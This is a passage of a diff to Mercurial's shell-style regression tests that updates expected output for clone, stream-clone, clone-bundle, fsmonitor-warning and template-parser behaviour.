   $ CHGDEBUG= chg log 2>&1 | egrep 'instruction|start'
-  chg: debug: instruction: unlink $TESTTMP/extreload/chgsock/server-* (glob)
-  chg: debug: instruction: reconnect
-  chg: debug: start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
+  chg: debug: * instruction: unlink $TESTTMP/extreload/chgsock/server-* (glob)
+  chg: debug: * instruction: reconnect (glob)
+  chg: debug: * start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
 
 old server will shut down, while new server should still be reachable:
 
@@ -194,7 +196,7 @@
 (this test makes sure that old server shut down automatically)
 
   $ CHGDEBUG= chg log 2>&1 | egrep 'instruction|start'
-  chg: debug: start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
+  chg: debug: * start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
 
 shut down servers and restore environment:
 
diff --git a/tests/test-clone-pull-corruption.t b/tests/test-clone-pull-corruption.t
--- a/tests/test-clone-pull-corruption.t
+++ b/tests/test-clone-pull-corruption.t
@@ -37,6 +37,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 52998019f625
   (run 'hg update' to get a working copy)
 
 see what happened
diff --git a/tests/test-clone-r.t b/tests/test-clone-r.t
--- a/tests/test-clone-r.t
+++ b/tests/test-clone-r.t
@@ -89,6 +89,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets f9ee2f85a263
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -102,6 +103,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets f9ee2f85a263:34c2bf6b0626
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -115,6 +117,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets f9ee2f85a263:e38ba6f5b7e0
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -128,6 +131,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets f9ee2f85a263:eebf5a27f8ca
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -141,6 +145,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets f9ee2f85a263:095197eb4973
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -154,6 +159,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets f9ee2f85a263:1bb50a9436a7
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -167,6 +173,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 5 changes to 2 files
+  new changesets f9ee2f85a263:7373c1169842
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -180,6 +187,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 3 files
+  new changesets f9ee2f85a263:a6a34bfa0076
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -193,6 +201,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files
+  new changesets f9ee2f85a263:aa35859c02ea
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -209,6 +218,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets 095197eb4973:a6a34bfa0076
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -237,6 +247,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 6 changes to 3 files
+  new changesets f9ee2f85a263:7100abb79635
   updating to branch foobar
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-clone-uncompressed.t b/tests/test-clone-uncompressed.t
--- a/tests/test-clone-uncompressed.t
+++ b/tests/test-clone-uncompressed.t
@@ -18,7 +18,16 @@
 
 Basic clone
 
-  $ hg clone --uncompressed -U http://localhost:$HGPORT clone1
+  $ hg clone --stream -U http://localhost:$HGPORT clone1
+  streaming all changes
+  1027 files to transfer, 96.3 KB of data
+  transferred 96.3 KB in * seconds (*/sec) (glob)
+  searching for changes
+  no changes found
+
+--uncompressed is an alias to --stream
+
+  $ hg clone --uncompressed -U http://localhost:$HGPORT clone1-uncompressed
   streaming all changes
   1027 files to transfer, 96.3 KB of data
   transferred 96.3 KB in * seconds (*/sec) (glob)
@@ -27,7 +36,7 @@
 
 Clone with background file closing enabled
 
-  $ hg --debug --config worker.backgroundclose=true --config worker.backgroundcloseminfilecount=1 clone --uncompressed -U http://localhost:$HGPORT clone-background | grep -v adding
+  $ hg --debug --config worker.backgroundclose=true --config worker.backgroundcloseminfilecount=1 clone --stream -U http://localhost:$HGPORT clone-background | grep -v adding
   using http://localhost:$HGPORT/
   sending capabilities command
   sending branchmap command
@@ -44,32 +53,33 @@
   sending getbundle command
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "listkeys" (params: 1 mandatory) supported
-  bundle2-input-part: total payload size 58
-  bundle2-input-part: "listkeys" (params: 1 mandatory) supported
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 1 parts total
   checking for updated bookmarks
 
 Cannot stream clone when there are secret changesets
 
   $ hg -R server phase --force --secret -r tip
-  $ hg clone --uncompressed -U http://localhost:$HGPORT secret-denied
+  $ hg clone --stream -U http://localhost:$HGPORT secret-denied
   warning: stream clone requested but server has them disabled
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
 
   $ killdaemons.py
 
 Streaming of secrets can be overridden by server config
 
   $ cd server
-  $ hg --config server.uncompressedallowsecret=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config server.uncompressedallowsecret=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ cd ..
 
-  $ hg clone --uncompressed -U http://localhost:$HGPORT secret-allowed
+  $ hg clone --stream -U http://localhost:$HGPORT secret-allowed
   streaming all changes
   1027 files to transfer, 96.3 KB of data
   transferred 96.3 KB in * seconds (*/sec) (glob)
@@ -81,7 +91,7 @@
 Verify interaction between preferuncompressed and secret presence
 
   $ cd server
-  $ hg --config server.preferuncompressed=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config server.preferuncompressed=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ cd ..
 
@@ -91,17 +101,18 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
 
   $ killdaemons.py
 
 Clone not allowed when full bundles disabled and can't serve secrets
 
   $ cd server
-  $ hg --config server.disablefullbundle=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config server.disablefullbundle=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ cd ..
 
-  $ hg clone --uncompressed http://localhost:$HGPORT secret-full-disabled
+  $ hg clone --stream http://localhost:$HGPORT secret-full-disabled
   warning: stream clone requested but server has them disabled
   requesting all changes
   remote: abort: server has pull-based clones disabled
@@ -113,13 +124,14 @@
 (This is just a test over behavior: if you have access to the repo's files,
 there is no security so it isn't important to prevent a clone here.)
 
-  $ hg clone -U --uncompressed server local-secret
+  $ hg clone -U --stream server local-secret
   warning: stream clone requested but server has them disabled
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
 
 Stream clone while repo is changing:
 
@@ -145,13 +157,13 @@
   $ touch repo/f1
   $ $TESTDIR/seq.py 50000 > repo/f2
   $ hg -R repo ci -Aqm "0"
-  $ hg -R repo serve -p $HGPORT1 -d --pid-file=hg.pid --config extensions.delayer=delayer.py
+  $ hg serve -R repo -p $HGPORT1 -d --pid-file=hg.pid --config extensions.delayer=delayer.py
   $ cat hg.pid >> $DAEMON_PIDS
 
 clone while modifying the repo between stating file with write lock and
 actually serving file content
 
-  $ hg clone -q --uncompressed -U http://localhost:$HGPORT1 clone &
+  $ hg clone -q --stream -U http://localhost:$HGPORT1 clone &
   $ sleep 1
   $ echo >> repo/f1
   $ echo >> repo/f2
diff --git a/tests/test-clone-update-order.t b/tests/test-clone-update-order.t
--- a/tests/test-clone-update-order.t
+++ b/tests/test-clone-update-order.t
@@ -29,6 +29,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   $ rm -rf ../b
 
   $ hg clone -u . .#other ../b -r 0 -r 1 -r 2 -b other
@@ -36,6 +37,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch mine
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -45,6 +47,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -54,6 +57,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch mine
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -63,6 +67,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch other
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -74,6 +79,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch other
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -83,6 +89,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -92,6 +99,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets fcc393352796
   updating to branch other
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
diff --git a/tests/test-clone.t b/tests/test-clone.t
--- a/tests/test-clone.t
+++ b/tests/test-clone.t
@@ -148,6 +148,7 @@
   adding manifests
   adding file changes
   added 11 changesets with 11 changes to 2 files
+  new changesets acb14030fe0a:a7949464abda
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R g verify
@@ -269,6 +270,7 @@
   adding manifests
   adding file changes
   added 16 changesets with 16 changes to 3 files (+1 heads)
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -409,6 +411,7 @@
   adding manifests
   adding file changes
   added 14 changesets with 14 changes to 3 files
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -445,6 +448,7 @@
   adding manifests
   adding file changes
   added 14 changesets with 14 changes to 3 files
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -481,6 +485,7 @@
   adding manifests
   adding file changes
   added 14 changesets with 14 changes to 3 files
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -543,6 +548,7 @@
   adding manifests
   adding file changes
   added 14 changesets with 14 changes to 3 files
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -r ua
@@ -706,7 +712,7 @@
   $ cd filteredrev0
   $ cat >> .hg/hgrc << EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ echo initial1 > foo
   $ hg -q commit -A -m initial0
@@ -774,6 +780,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets e082c1832e09
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -786,6 +793,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets b5f04eac9d8f:e5bfe23c0b47
   searching for changes
   no changes found
   adding remote bookmark bookA
@@ -823,6 +831,7 @@
   added 4 changesets with 4 changes to 1 files (+4 heads)
   adding remote bookmark head1
   adding remote bookmark head2
+  new changesets 4a8dc1ab4c13:6bacf4683960
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -863,6 +872,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 22aeff664783:63cf6c3dba4a
   searching for changes
   no changes found
   updating working directory
@@ -881,6 +891,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets b5f04eac9d8f:e5bfe23c0b47
   searching for changes
   no changes found
   adding remote bookmark bookA
@@ -897,6 +908,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 6 changes to 1 files (+4 heads)
+  new changesets b5f04eac9d8f:6bacf4683960
   searching for changes
   no changes found
   adding remote bookmark head1
@@ -916,6 +928,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets b5f04eac9d8f:4a8dc1ab4c13
   no changes found
   adding remote bookmark head1
   updating working directory
@@ -946,6 +959,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   adding remote bookmark head1
   adding remote bookmark head2
+  new changesets 99f71071f117
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -978,6 +992,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets b5f04eac9d8f:5f92a6c1a1b1
   no changes found
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -1003,6 +1018,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 6bacf4683960
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -1084,6 +1100,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets b5f04eac9d8f:e5bfe23c0b47
   searching for changes
   no changes found
   adding remote bookmark bookA
@@ -1160,3 +1177,80 @@
 We should not have created a file named owned - if it exists, the
 attack succeeded.
   $ if test -f owned; then echo 'you got owned'; fi
+
+Cloning without fsmonitor enabled does not print a warning for small repos
+
+  $ hg clone a fsmonitor-default
+  updating to bookmark @ on branch stable
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Lower the warning threshold to simulate a large repo
+
+  $ cat >> $HGRCPATH << EOF
+  > [fsmonitor]
+  > warn_update_file_count = 2
+  > EOF
+
+We should see a warning about no fsmonitor on supported platforms
+
+#if linuxormacos no-fsmonitor
+  $ hg clone a nofsmonitor
+  updating to bookmark @ on branch stable
+  (warning: large working directory being used without fsmonitor enabled; enable fsmonitor to improve performance; see "hg help -e fsmonitor")
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#else
+  $ hg clone a nofsmonitor
+  updating to bookmark @ on branch stable
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#endif
+
+We should not see warning about fsmonitor when it is enabled
+
+#if fsmonitor
+  $ hg clone a fsmonitor-enabled
+  updating to bookmark @ on branch stable
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#endif
+
+We can disable the fsmonitor warning
+
+  $ hg --config fsmonitor.warn_when_unused=false clone a fsmonitor-disable-warning
+  updating to bookmark @ on branch stable
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Loaded fsmonitor but disabled in config should still print warning
+
+#if linuxormacos fsmonitor
+  $ hg --config fsmonitor.mode=off clone a fsmonitor-mode-off
+  updating to bookmark @ on branch stable
+  (warning: large working directory being used without fsmonitor enabled; enable fsmonitor to improve performance; see "hg help -e fsmonitor") (fsmonitor !)
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#endif
+
+Warning not printed if working directory isn't empty
+
+  $ hg -q clone a fsmonitor-update
+  (warning: large working directory being used without fsmonitor enabled; enable fsmonitor to improve performance; see "hg help -e fsmonitor") (?)
+  $ cd fsmonitor-update
+  $ hg up acb14030fe0a
+  1 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  (leaving bookmark @)
+  $ hg up cf0fe1914066
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+`hg update` from null revision also prints
+
+  $ hg up null
+  0 files updated, 0 files merged, 2 files removed, 0 files unresolved
+
+#if linuxormacos no-fsmonitor
+  $ hg up cf0fe1914066
+  (warning: large working directory being used without fsmonitor enabled; enable fsmonitor to improve performance; see "hg help -e fsmonitor")
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#else
+  $ hg up cf0fe1914066
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+#endif
+
+  $ cd ..
+
diff --git a/tests/test-clonebundles.t b/tests/test-clonebundles.t
--- a/tests/test-clonebundles.t
+++ b/tests/test-clonebundles.t
@@ -28,11 +28,12 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
   $ cat server/access.log
   * - - [*] "GET /?cmd=capabilities HTTP/1.1" 200 - (glob)
   * - - [*] "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=aaff8d2ffbbf07a46dd1f05d8ae7877e3f56e2a2&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=aaff8d2ffbbf07a46dd1f05d8ae7877e3f56e2a2&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
 
 Empty manifest file results in retrieval
 (the extension only checks if the manifest file exists)
@@ -45,6 +46,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
 Manifest file with invalid URL aborts
 
@@ -89,6 +91,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
 Bundle with partial content works
 
@@ -127,6 +130,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets aaff8d2ffbbf
 
 Incremental pull doesn't fetch bundle
 
@@ -135,6 +139,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 53245c60e682
 
   $ cd partial-clone
   $ hg pull
@@ -144,6 +149,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets aaff8d2ffbbf
   (run 'hg update' to get a working copy)
   $ cd ..
 
@@ -240,6 +246,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
 URLs requiring SNI are filtered in Python <2.7.9
 
@@ -337,6 +344,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
 Set up manifest for testing preferences
 (Remember, the TYPE does not have to match reality - the URL is
@@ -431,3 +439,81 @@
   finished applying clone bundle
   searching for changes
   no changes found
+
+Test interaction between clone bundles and --stream
+
+A manifest with just a gzip bundle
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/gz-a.hg BUNDLESPEC=gzip-v2
+  > EOF
+
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-gzip
+  no compatible clone bundles available on server; falling back to regular clone
+  (you may want to report this to the server operator)
+  streaming all changes
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  searching for changes
+  no changes found
+
+A manifest with a stream clone but no BUNDLESPEC
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/packed.hg
+  > EOF
+
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-no-bundlespec
+  no compatible clone bundles available on server; falling back to regular clone
+  (you may want to report this to the server operator)
+  streaming all changes
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  searching for changes
+  no changes found
+
+A manifest with a gzip bundle and a stream clone
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/gz-a.hg BUNDLESPEC=gzip-v2
+  > http://localhost:$HGPORT1/packed.hg BUNDLESPEC=none-packed1
+  > EOF
+
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-gzip-packed
+  applying clone bundle from http://localhost:$HGPORT1/packed.hg
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  finished applying clone bundle
+  searching for changes
+  no changes found
+
+A manifest with a gzip bundle and stream clone with supported requirements
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/gz-a.hg BUNDLESPEC=gzip-v2
+  > http://localhost:$HGPORT1/packed.hg BUNDLESPEC=none-packed1;requirements%3Drevlogv1
+  > EOF
+
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-gzip-packed-requirements
+  applying clone bundle from http://localhost:$HGPORT1/packed.hg
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  finished applying clone bundle
+  searching for changes
+  no changes found
+
+A manifest with a gzip bundle and a stream clone with unsupported requirements
+
+  $ cat > server/.hg/clonebundles.manifest << EOF
+  > http://localhost:$HGPORT1/gz-a.hg BUNDLESPEC=gzip-v2
+  > http://localhost:$HGPORT1/packed.hg BUNDLESPEC=none-packed1;requirements%3Drevlogv42
+  > EOF
+
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-gzip-packed-unsupported-requirements
+  no compatible clone bundles available on server; falling back to regular clone
+  (you may want to report this to the server operator)
+  streaming all changes
+  4 files to transfer, 613 bytes of data
+  transferred 613 bytes in * seconds (*) (glob)
+  searching for changes
+  no changes found
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -41,62 +41,62 @@
   $ hg debugtemplate -r0 -v '{5 / 2} {mod(5, 2)}\n'
   (template
     (/
-      ('integer', '5')
-      ('integer', '2'))
-    ('string', ' ')
+      (integer '5')
+      (integer '2'))
+    (string ' ')
     (func
-      ('symbol', 'mod')
+      (symbol 'mod')
       (list
-        ('integer', '5')
-        ('integer', '2')))
-    ('string', '\n'))
+        (integer '5')
+        (integer '2')))
+    (string '\n'))
   2 1
   $ hg debugtemplate -r0 -v '{5 / -2} {mod(5, -2)}\n'
   (template
     (/
-      ('integer', '5')
+      (integer '5')
       (negate
-        ('integer', '2')))
-    ('string', ' ')
+        (integer '2')))
+    (string ' ')
     (func
-      ('symbol', 'mod')
+      (symbol 'mod')
       (list
-        ('integer', '5')
+        (integer '5')
         (negate
-          ('integer', '2'))))
-    ('string', '\n'))
+          (integer '2'))))
+    (string '\n'))
   -3 -1
   $ hg debugtemplate -r0 -v '{-5 / 2} {mod(-5, 2)}\n'
   (template
     (/
       (negate
-        ('integer', '5'))
-      ('integer', '2'))
-    ('string', ' ')
+        (integer '5'))
+      (integer '2'))
+    (string ' ')
     (func
-      ('symbol', 'mod')
+      (symbol 'mod')
       (list
         (negate
-          ('integer', '5'))
-        ('integer', '2')))
-    ('string', '\n'))
+          (integer '5'))
+        (integer '2')))
+    (string '\n'))
   -3 1
   $ hg debugtemplate -r0 -v '{-5 / -2} {mod(-5, -2)}\n'
   (template
     (/
       (negate
-        ('integer', '5'))
+        (integer '5'))
       (negate
-        ('integer', '2')))
-    ('string', ' ')
+        (integer '2')))
+    (string ' ')
     (func
-      ('symbol', 'mod')
+      (symbol 'mod')
       (list
         (negate
-          ('integer', '5'))
+          (integer '5'))
         (negate
-          ('integer', '2'))))
-    ('string', '\n'))
+          (integer '2'))))
+    (string '\n'))
   2 -1
 
 Filters bind closer than arithmetic:
@@ -106,11 +106,11 @@
     (-
       (|
         (func
-          ('symbol', 'revset')
-          ('string', '.'))
-        ('symbol', 'count'))
-      ('integer', '1'))
-    ('string', '\n'))
+          (symbol 'revset')
+          (string '.'))
+        (symbol 'count'))
+      (integer '1'))
+    (string '\n'))
   0
 
 But negate binds closer still:
@@ -118,31 +118,45 @@
   $ hg debugtemplate -r0 -v '{1-3|stringify}\n'
   (template
     (-
-      ('integer', '1')
+      (integer '1')
       (|
-        ('integer', '3')
-        ('symbol', 'stringify')))
-    ('string', '\n'))
+        (integer '3')
+        (symbol 'stringify')))
+    (string '\n'))
   hg: parse error: arithmetic only defined on integers
   [255]
   $ hg debugtemplate -r0 -v '{-3|stringify}\n'
   (template
     (|
       (negate
-        ('integer', '3'))
-      ('symbol', 'stringify'))
-    ('string', '\n'))
+        (integer '3'))
+      (symbol 'stringify'))
+    (string '\n'))
   -3
 
+Filters bind as close as map operator:
+
+  $ hg debugtemplate -r0 -v '{desc|splitlines % "{line}\n"}'
+  (template
+    (%
+      (|
+        (symbol 'desc')
+        (symbol 'splitlines'))
+      (template
+        (symbol 'line')
+        (string '\n'))))
+  line 1
+  line 2
+
 Keyword arguments:
 
   $ hg debugtemplate -r0 -v '{foo=bar|baz}'
   (template
     (keyvalue
-      ('symbol', 'foo')
+      (symbol 'foo')
       (|
-        ('symbol', 'bar')
-        ('symbol', 'baz'))))
+        (symbol 'bar')
+        (symbol 'baz'))))
   hg: parse error: can't use a key-value pair in this context
   [255]
 
@@ -245,6 +259,29 @@
   $ hg log -l1 -T./map-simple
   8
 
+ a map file may have [templates] and [templatealias] sections:
+
+  $ cat <<'EOF' > map-simple
+  > [templates]
+  > changeset = "{a}\n"
+  > [templatealias]
+  > a = rev
+  > EOF
+  $ hg log -l1 -T./map-simple
+  8
+
+ so it can be included in hgrc
+
+  $ cat <<'EOF' > myhgrc
+  > %include map-simple
+  > [templates]
+  > foo = "{changeset}"
+  > EOF
+  $ HGRCPATH=./myhgrc hg log -l1 -Tfoo
+  8
+  $ HGRCPATH=./myhgrc hg log -l1 -T'{a}\n'
+  8
+
 Test template map inheritance
 
   $ echo "__base__ = map-cmdline.default" > map-simple
@@ -2166,9 +2203,10 @@
   $ cd unstable-hash
   $ hg log --template '{date|age}\n' > /dev/null || exit 1
 
-  >>> from datetime import datetime, timedelta
+  >>> from __future__ import absolute_import
+  >>> import datetime
   >>> fp = open('a', 'w')
-  >>> n = datetime.now() + timedelta(366 * 7)
+  >>> n = datetime.datetime.now() + datetime.timedelta(366 * 7)
   >>> fp.write('%d-%d-%d 00:00' % (n.year, n.month, n.day))
   >>> fp.close()
   $ hg add a
@@ -3104,6 +3142,88 @@
   hg: parse error: None is not iterable
   [255]
 
+Test new-style inline templating of non-list/dict type:
+
+  $ hg log -R latesttag -r tip -T '{manifest}\n'
+  11:2bc6e9006ce2
+  $ hg log -R latesttag -r tip -T 'string length: {manifest|count}\n'
+  string length: 15
+  $ hg log -R latesttag -r tip -T '{manifest % "{rev}:{node}"}\n'
+  11:2bc6e9006ce29882383a22d39fd1f4e66dd3e2fc
+
+  $ hg log -R latesttag -r tip -T '{get(extras, "branch") % "{key}: {value}\n"}'
+  branch: default
+  $ hg log -R latesttag -r tip -T '{get(extras, "unknown") % "{key}\n"}'
+  hg: parse error: None is not iterable
+  [255]
+  $ hg log -R latesttag -r tip -T '{min(extras) % "{key}: {value}\n"}'
+  branch: default
+  $ hg log -R latesttag -l1 -T '{min(revset("0:9")) % "{rev}:{node|short}\n"}'
+  0:ce3cec86e6c2
+  $ hg log -R latesttag -l1 -T '{max(revset("0:9")) % "{rev}:{node|short}\n"}'
+  9:fbc7cd862e9c
+
+Test manifest/get() can be join()-ed as before, though it's silly:
+
+  $ hg log -R latesttag -r tip -T '{join(manifest, "")}\n'
+  11:2bc6e9006ce2
+  $ hg log -R latesttag -r tip -T '{join(get(extras, "branch"), "")}\n'
+  default
+
+Test min/max of integers
+
+  $ hg log -R latesttag -l1 -T '{min(revset("9:10"))}\n'
+  9
+  $ hg log -R latesttag -l1 -T '{max(revset("9:10"))}\n'
+  10
+
+Test dot operator precedence:
+
